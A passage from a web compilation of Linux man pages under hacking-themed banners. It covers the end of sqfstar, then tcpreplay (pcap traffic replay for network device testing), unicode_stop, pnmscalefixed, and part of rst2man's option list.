create a socket (s) or FIFO (f).

-p “filename x name=val”
create an extended attribute.

-p “filename l linkname”
create a hard-link to linkname.

-p “filename L pseudo_filename”
same, but link to pseudo file.

-p “filename D time mode uid gid”
create a directory with timestamp time.

-p “filename M time mode uid gid”
modify a file with timestamp time.

-p “filename B time mode uid gid major minor”
create block device with timestamp time.

-p “filename C time mode uid gid major minor”
create char device with timestamp time.

-p “filename F time mode uid gid command”
create file with timestamp time.

-p “filename S time mode uid gid symlink”
create symlink with timestamp time.

-p “filename I time mode uid gid [s|f]”
create socket/fifo with timestamp time.

COMPRESSORS AVAILABLE AND COMPRESSOR SPECIFIC OPTIONS

gzip (default):

-Xcompression-level COMPRESSION-LEVEL
COMPRESSION-LEVEL should be 1 .. 9 (default 9).

-Xwindow-size WINDOW-SIZE
WINDOW-SIZE should be 8 .. 15 (default 15).

-Xstrategy strategy1,strategy2,…,strategyN
Compress using strategy1,strategy2,…,strategyN in turn and choose the best compression. Available strategies: default, filtered, huffman_only, run_length_encoded and fixed.

lzo:

-Xalgorithm ALGORITHM
Where ALGORITHM is one of: lzo1x_1, lzo1x_1_11, lzo1x_1_12, lzo1x_1_15, lzo1x_999 (default).

-Xcompression-level COMPRESSION-LEVEL
COMPRESSION-LEVEL should be 1 .. 9 (default 8) Only applies to lzo1x_999 algorithm.

lz4:

-Xhc
Compress using LZ4 High Compression.

xz:

-Xbcj filter1,filter2,…,filterN
Compress using filter1,filter2,…,filterN in turn (in addition to no filter), and choose the best compression. Available filters: x86, arm, armthumb, powerpc, sparc, ia64.

-Xdict-size DICT-SIZE
Use DICT-SIZE as the XZ dictionary size. The dictionary size can be specified as a percentage of the block size, or as an absolute value. The dictionary size must be less than or equal to the block size and 8192 bytes or larger. It must also be storable in the xz header as either 2^n or as 2^n+2^(n+1). Example dict-sizes are 75%, 50%, 37.5%, 25%, or 32K, 16K, 8K etc.

zstd:

-Xcompression-level COMPRESSION-LEVEL
COMPRESSION-LEVEL should be 1 .. 22 (default 15).

lzma:

(no options) (deprecated - no kernel support)

ENVIRONMENT

SOURCE_DATE_EPOCH
If set, this is used as the filesystem creation timestamp. Also any file timestamps which are after SOURCE_DATE_EPOCH will be clamped to SOURCE_DATE_EPOCH. See https://reproducible-builds.org/docs/source-date-epoch/ for more information.

EXAMPLES

sqfstar IMAGE.SQFS < archive.tar
Create a Squashfs filesystem from the uncompressed tar file “archive.tar”. Sqfstar will use the default compressor (normally gzip), and block size of 128 Kbytes.

zcat archive.tgz | sqfstar IMAGE.SQFS
Create a Squashfs filesystem from the compressed tar file “archive.tgz”. Sqfstar will use the default compressor (normally gzip), and block size of 128 Kbytes.

sqfstar -b 1M -comp zstd IMAGE.SQFS < archive.tar
Use a block size of 1 Mbyte and Zstandard compression to create the filesystem.

sqfstar -root-uid 0 -root-gid 0 IMAGE.SQFS < archive.tar
Tar files do not supply a definition for the root directory, and the default is to make the directory owned/group owned by the user running Sqfstar. The above command sets the ownership/group ownership to root.

sqfstar -root-mode 0755 IMAGE.SQFS < archive.tar
The default permissions for the root directory is 0777 (rwxrwxrwx). The above command sets the permissions to 0755 (rwxr-xr-x).

sqfstar IMAGE.SQFS file1 file2 < archive.tar
Exclude file1 and file2 from the tar file when creating filesystem.

sqfstar IMAGE.SQFS “*.gz” < archive.tar
Exclude any files in the top level directory which matches the wildcard pattern “*.gz”.

sqfstar IMAGE.SQFS “… *.gz” < archive.tar
Exclude any file which matches the wildcard pattern “*.gz” anywhere within the tar file. The initial “…” indicates the wildcard pattern is “non-anchored” and will match anywhere.

Note: when passing wildcarded names to Sqfstar, they should be quoted (as in the above examples), to ensure that they are not processed by the shell.

Using pseudo file definitions

sqfstar -p “build_dir d 0644 0 0” IMAGE.SQFS < archive.tar
Create a directory called “build_dir” in the output filesystem.

sqfstar -p “version.txt l /tmp/build/version” IMAGE.SQFS < archive.tar
Create a reference called “version.txt” to a file not in the tar archive, which acts as if that file was in the tar archive.

sqfstar -p “date.txt f 0644 0 0 date” IMAGE.SQFS < archive.tar
Create a file called “date.txt” which holds the output (stdout) from running the “date” command.

sqfstar -p “\hello world\ f 0644 0 0 date” IMAGE.SQFS < archive.tar
As above, but, showing that filenames can have spaces, if they are quoted. The quotes need to be blackslashed to protect them from the shell.

sqfstar -p “input f 0644 root root dd if=/dev/sda1 bs=1024” IMAGE.SQFS < archive.tar
Create a file containing the contents of partition /dev/sda1". The above allows input from these special files to be captured and placed in the Squashfs filesystem.

Note: pseudo file definitions should be quoted (as in the above examples), to ensure that they are passed to Mksquashfs as a single argument, and to ensure that they are not processed by the shell.

AUTHOR

Written by Phillip Lougher <[email protected]>

COPYRIGHT

Copyright © 2023 Phillip Lougher <[email protected]>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

SEE ALSO

mksquashfs(1), unsquashfs(1), sqfscat(1)

The README for the Squashfs-tools 4.6.1 release, describing the new features can be read here https://github.com/plougher/squashfs-tools/blob/master/README-4.6.1

The Squashfs-tools USAGE guide can be read here https://github.com/plougher/squashfs-tools/blob/master/USAGE-4.6

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

961 - Linux cli command tcpreplay

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tcpreplay and provides detailed information about the command tcpreplay, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tcpreplay.

NAME 🖥️ tcpreplay 🖥️

Replay network traffic stored in pcap files

SYNOPSIS

tcpreplay [-flags] [-flag [value]] [–option-name[[=| ]value]] <pcap_file(s)> | <pcap_dir(s)>

tcpreplay is a tool for replaying network traffic from files saved with tcpdump or other tools which write pcap(3) files.

DESCRIPTION

The basic operation of tcpreplay is to resend all packets from the input file(s) at the speed at which they were recorded, or a specified data rate, up to as fast as the hardware is capable.

Optionally, the traffic can be split between two interfaces, written to files, filtered and edited in various ways, providing the means to test firewalls, NIDS and other network devices.

For more details, please see the Tcpreplay Manual at: http://tcpreplay.appneta.com

OPTIONS

Enable debugging output. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 5

The default number for this option is:

0

If configured with –enable-debug, then you can specify a verbosity level for debugging output. Higher numbers increase verbosity.

Quiet mode.

Print nothing except the statistics at the end of the run

Select packet timing mode: select, ioport, gtod, nano. This option may appear up to 1 times. The default string for this option is:

gtod

Allows you to select the packet timing method to use:

nano - Use nanosleep() API

select - Use select() API

ioport - Write to the i386 IO Port 0x80

gtod [default] - Use a gettimeofday() loop

Sleep for no more then X milliseconds between packets. This option takes an integer number as its argument. The default number for this option is:

0

Set a limit for the maximum number of milliseconds that tcpreplay will sleep between packets. Effectively prevents long delays between packets without effecting the majority of packets. Default is disabled.

Print decoded packets via tcpdump to STDOUT. This option may appear up to 1 times.

Arguments passed to tcpdump decoder. This option may appear up to 1 times. This option must appear in combination with the following options: verbose.

When enabling verbose mode (-v) you may also specify one or more additional arguments to pass to tcpdump to modify the way packets are decoded. By default, -n and -l are used. Be sure to quote the arguments like: -A “-axxx” so that they are not interpreted by tcpreplay. Please see the tcpdump(1) man page for a complete list of options.

Preloads packets into RAM before sending.

This option loads the specified pcap(s) into RAM before starting to send in order to improve replay performance while introducing a startup performance hit. Preloading can be used with or without –loop. This option also suppresses flow statistics collection for every iteration, which can significantly reduce memory usage. Flow statistics are predicted based on options supplied and statistics collected from the first loop iteration.

Split traffic via a tcpprep cache file. This option may appear up to 1 times. This option must appear in combination with the following options: intf2. This option must not appear in combination with any of the following options: dualfile.

If you have a pcap file you would like to use to send bi-directional traffic through a device (firewall, router, IDS, etc) then using tcpprep you can create a cachefile which tcpreplay will use to split the traffic across two network interfaces.

Replay two files at a time from a network tap. This option may appear up to 1 times. This option must appear in combination with the following options: intf2. This option must not appear in combination with any of the following options: cachefile.

If you captured network traffic using a network tap, then you can end up with two pcap files- one for each direction. This option will replay these two files at the same time, one on each interface and inter-mix them using the timestamps in each.

Client to server/RX/primary traffic output interface. This option may appear up to 1 times. This option is a member of the intf1 class of options.

Required network interface used to send either all traffic or traffic which is marked as ‘primary’ via tcpprep. Primary traffic is usually client-to-server or inbound (RX) on khial virtual interfaces.

Server to client/TX/secondary traffic output interface. This option may appear up to 1 times.

Optional network interface used to send traffic which is marked as ‘secondary’ via tcpprep. Secondary traffic is usually server-to-client or outbound (TX) on khial virtual interfaces. Generally, it only makes sense to use this option with –cachefile.

Pcap file to receive traffic outputs. This option may appear up to 1 times. This option is a member of the intf1 class of options. This option must not appear in combination with any of the following options: intf2.

Optional pcap file name used to receive traffic.

Send only selected packet numbers. This option may appear up to 1 times. This option must not appear in combination with any of the following options: exclude.

Override default of processing all packets stored in the capture file and only send packets that are part of a supplied list of packet numbers.

    -x P:1-5,9,15,72-

would skip packets 1 through 5, the 9th and 15th packet, and packets 72 until the end of the file

Send all but selected packet numbers. This option may appear up to 1 times. This option must not appear in combination with any of the following options: include.

Override default of processing all packets stored in the capture file and only send packets that are NOT part of a supplied list of packet numbers.

    -x P:1-5,9,15,72-

would skip packets 1 through 5, the 9th and 15th packet, and packets 72 until the end of the file

List available network interfaces and exit.

Loop through the capture file X times. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

1

Delay between loops in milliseconds. This option must appear in combination with the following options: loop. This option must not appear in combination with any of the following options: loopdelay-ns. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

Delay between loops in nanoseconds. This option must appear in combination with the following options: loop. This option must not appear in combination with any of the following options: loopdelay-ms. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

By default, tcpreplay will use loop delay with microsecond accuracy (loopdelay-ms). In order to use loop delay with nanosecond accuracy you need to use nano packet timing mode.

Override the snaplen and use the actual packet len. This option may appear up to 1 times.

By default, tcpreplay will send packets based on the size of the “snaplen” stored in the pcap file which is usually the correct thing to do. However, occasionally, tools will store more bytes then told to. By specifying this option, tcpreplay will ignore the snaplen field and instead try to send packets based on the original packet length. Bad things may happen if you specify this option.

Limit the number of packets to send. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

-1

By default, tcpreplay will send all the packets. Alternatively, you can specify a maximum number of packets to send.

Limit the number of seconds to send. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

-1

By default, tcpreplay will send all the packets. Alternatively, you can specify a maximum number of seconds to transmit.

Modify replay speed to a given multiple. This option may appear up to 1 times. This option must not appear in combination with any of the following options: pps, mbps, oneatatime, topspeed.

Specify a value to modify the packet replay speed. Examples:

        2.0 will replay traffic at twice the speed captured
        0.7 will replay traffic at 70% the speed captured

Replay packets at a given packets/sec. This option may appear up to 1 times. This option must not appear in combination with any of the following options: multiplier, mbps, oneatatime, topspeed.

Specify a value to regulate the packet replay to a specific packet-per-second rate. Examples:

        200 will replay traffic at 200 packets per second
        0.25 will replay traffic at 15 packets per minute

Replay packets at a given Mbps. This option may appear up to 1 times. This option must not appear in combination with any of the following options: multiplier, pps, oneatatime, topspeed.

Specify a floating point value for the Mbps rate that tcpreplay should send packets at.

Replay packets as fast as possible. This option must not appear in combination with any of the following options: mbps, multiplier, pps, oneatatime.

Replay one packet at a time for each user input. This option must not appear in combination with any of the following options: mbps, pps, multiplier, topspeed.

Allows you to step through one or more packets at a time.

Number of packets to send for each time interval. This option must appear in combination with the following options: pps. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

1

When trying to send packets at very high rates, the time between each packet can be so short that it is impossible to accurately sleep for the required period of time. This option allows you to send multiple packets at a time, thus allowing for longer sleep times which can be more accurately implemented.

Modify IP addresses each loop iteration to generate unique flows. This option must appear in combination with the following options: loop.

Ensure IPv4 and IPv6 packets will be unique for each –loop iteration. This is done in a way that will not alter packet CRC, and therefore will generally not affect performance. This option will significantly increase the flows/sec over generated over multiple loop iterations.

Number of times to loop before assigning new unique ip. This option may appear up to 1 times. This option must appear in combination with the following options: unique-ip.

Number of –loop iterations before a new unique IP is assigned. Default is 1. Assumes both –loop and –unique-ip.

Write packets directly to netmap enabled network adapter.

This feature will detect netmap capable network drivers on Linux and BSD systems. If detected, the network driver is bypassed for the execution duration, and network buffers will be written to directly. This will allow you to achieve full line rates on commodity network adapters, similar to rates achieved by commercial network traffic generators. Note that bypassing the network driver will disrupt other applications connected through the test interface. See INSTALL for more information.

This feature can also be enabled by specifying an interface as ’netmap:<intf>’ or ‘vale:<intf>. For example ’netmap:eth0’ specifies netmap over interface eth0.

Netmap startup delay. This option takes an integer number as its argument. The default number for this option is:

10

Number of seconds to delay after netmap is loaded. Required to ensure interfaces are fully up before netmap transmit. Requires netmap option. Default is 10 seconds.

Suppress printing and tracking flow count, rates and expirations.

Suppress the collection and printing of flow statistics. This option may improve performance when not using –preload-pcap option, otherwise its only function is to suppress printing.

The flow feature will track and print statistics of the flows being sent. A flow is loosely defined as a unique combination of a 5-tuple, i.e. source IP, destination IP, source port, destination port and protocol.

If –loop is specified, the flows from one iteration to the next will not be unique, unless the packets are altered. Use –unique-ip or tcpreplay-edit to alter packets between iterations.

Number of inactive seconds before a flow is considered expired. This option must not appear in combination with any of the following options: no-flow-stats. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

This option will track and report flow expirations based on the flow idle times. The timestamps within the pcap file are used to determine the expiry, not the actual timestamp of the packets are replayed. For example, a value of 30 suggests that if no traffic is seen on a flow for 30 seconds, any subsequent traffic would be considered a new flow, and thereby will increment the flows and flows per second (fps) statistics.

This option can be used to optimize flow timeout settings for flow products. Setting the timeout low may lead to flows being dropped when in fact the flow is simply slow to respond. Configuring your flow timeouts too high may increase resources required by your flow product.

Note that using this option while replaying at higher than original speeds can lead to inflated flows and fps counts.

Default is 0 (no expiry) and a typical value is 30-120 seconds.

Print the PID of tcpreplay at startup.

Print statistics every X seconds, or every loop if ‘0’. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

Note that timed delays are a “best effort” and long delays between sending packets may cause equally long delays between printing statistics.

suppress printing warning messages.

Write packets directly to AF_XDP enabled network adapter.

This feature will detect AF_XDP capable network drivers on Linux systems that have ’libxdp-dev’ and ’libbpf-dev’ installed. If detected, the network stack is bypassed and packets are sent directly to an eBPF enabled driver directly. This will allow you to achieve full line rates on commodity network adapters, similar to rates achieved by commercial network traffic generators.

The maximum number of packets that can be submitted to the AF_XDP TX ring at once. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  1 through 4096

The default number for this option is:

25

Higher values may improve performance at the cost of accuracy

Print version information.

Display less usage information and exit.

Display usage information and exit.

Pass the extended usage information through a pager.

Save the option state to cfgfile. The default is the last configuration file listed in the OPTION PRESETS section, below. The command will exit after updating the config file.

Load options from cfgfile. The no-load-opts form will disable the loading of earlier config/rc/ini files. –no-load-opts is handled early, out of order.

OPTION PRESETS

Any option that is not marked as not presettable may be preset by loading values from configuration (“RC” or “.INI”) file(s). The homerc file is “$$/”, unless that is a directory. In that case, the file “.tcpreplayrc” is searched for within that directory.

FILES

See OPTION PRESETS for configuration files.

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

A specified configuration file could not be loaded.

libopts had an internal operational error. Please report it to [email protected]. Thank you.

AUTHORS

Copyright 2013-2024 Fred Klassen - AppNeta Copyright 2000-2012 Aaron Turner For support please use the [email protected] mailing list. The latest version of this software is always available from: http://tcpreplay.appneta.com/

COPYRIGHT

Copyright (C) 2000-2024 Aaron Turner and Fred Klassen all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later.

BUGS

Please send bug reports to: [email protected]

NOTES

This manual page was AutoGen-erated from the tcpreplay option definitions.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

962 - Linux cli command unicode_stop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unicode_stop and provides detailed information about the command unicode_stop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unicode_stop.

NAME 🖥️ unicode_stop 🖥️

revert keyboard and console from unicode mode

SYNOPSIS

unicode_stop

DESCRIPTION

The unicode_stop command will more-or-less undo the effect of unicode_start. It puts the keyboard in ASCII (XLATE) mode, and clears the console UTF-8 mode.

SEE ALSO

kbd_mode(1), unicode_start(1), utf-8(7), setfont(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

963 - Linux cli command pnmscalefixed

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmscalefixed and provides detailed information about the command pnmscalefixed, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmscalefixed.

.

NAME 🖥️ pnmscalefixed 🖥️

scale a PNM file quickly

DESCRIPTION

This program is part of Netpbm(1) .

pnmscalefixed is like pamscale except that it uses fixed point arithmetic internally instead of floating point, which may make it run faster. In turn, it is less accurate and may distort the image. It also lacks many of the features of pamscale.

Use the pamscale user manual with pnmscalefixed. This document only describes the difference. Avoid any feature mentioned in the pamscale manual as not existing before Netpbm 9.9.

pnmscalefixed uses fixed point 12 bit arithmetic. By contrast, pamscale uses floating point arithmetic which on most machines is probably 24 bit precision. This makes pnmscalefixed run faster (30% faster in one experiment), but the imprecision can cause distortions at the right and bottom edges.

The distortion takes the following form: One pixel from the edge of the input is rendered larger in the output than the scaling factor requires. Consequently, the rest of the image is smaller than the scaling factor requires, because the overall dimensions of the image are always as requested. This distortion will usually be very hard to see.

pnmscalefixed with the -verbose option tells you how much distortion there is.

The amount of distortion depends on the size of the input image and how close the scaling factor is to an integral 1/4096th.

If the scaling factor is an exact multiple of 1/4096, there is no distortion. So, for example doubling or halving an image causes no distortion. But reducing it or enlarging it by a third would cause some distortion. To consider an extreme case, scaling a 100,000 row image down to 50,022 rows would create an output image with all of the input squeezed into the top 50,000 rows, and the last row of the input copied into the bottom 22 rows of output.

pnmscalefixed could probably be modified to use 16 bit or better arithmetic without losing anything. The modification would consist of a single constant in the source code. Until there is a demonstrated need for that, though, the Netpbm maintainer wants to keep the safety cushion afforded by the original 12 bit precision.

pnmscalefixed does not have pamscale’s -nomix option.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmscalefixed recognizes the following command line options:

-xsize
-width
-ysize
-height
-xscale
-yscale
-pixels
-xysize
-reduce
These options determine the scale factors. See the pamscale(1) user manual for details.

-verbose
Report details of the transformation.

HISTORY

pnmscalefixed was originally pnmscale. In Netpbm 9.9 (November 2000) pnmscale was rewritten to use floating point arithmetic; the former fixed point arithmetic version was renamed pnmscalefixed.

SEE ALSO

pamscale(1) , pamstretch(1) , pamstretch-gen(1) , pbmreduce(1) , pbmpscale(1) , pamenlarge(1) , pnmscale(1) , pnm(1) , pam(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmscalefixed.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

964 - Linux cli command rst2man

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2man and provides detailed information about the command rst2man, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2man.

NAME 🖥️ rst2man 🖥️

generate unix manpages from reStructured text

SYNOPSIS

rst2man [options] [<source> [<destination>]]

DESCRIPTION

Generate Unix manual (troff) documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/user/manpage.html> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
